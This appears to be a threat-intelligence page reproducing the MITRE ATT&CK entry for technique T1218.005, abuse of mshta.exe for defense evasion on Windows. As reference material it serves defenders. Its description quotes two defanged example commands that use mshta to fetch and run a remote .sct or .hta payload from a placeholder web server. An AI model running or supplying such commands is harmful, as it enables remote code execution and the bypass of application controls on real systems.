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T1218.005: T1218.005

View on MITRE ATT&CK The MITRE Corporation · Published 23/01/2020 20:32 · Modified 04/06/2026 11:08

Essential information

MITRE technique ID
T1218.005
Confidence
100/100
Revoked
No
Published
23/01/2020 20:32
Modified
04/06/2026 11:08
Author / Source
The MITRE Corporation

Aliases

Mshta

Platforms

windows

Description

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: `mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))` They may also be executed directly from URLs: `mshta http[:]//webserver/payload[.]hta` Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

Kill chain phases

Kill chainPhase
mitre-attack defense-evasion

Marking (TLP)

TLP:CLEAR Copyright 2015-2025, The MITRE Corporation. MITRE ATT&CK and ATT&CK are registered trademarks of The MITRE Corporation.

External references

Related entities

Intrusion sets, malware, reports, vulnerabilities, indicators and other entities linked to this technique.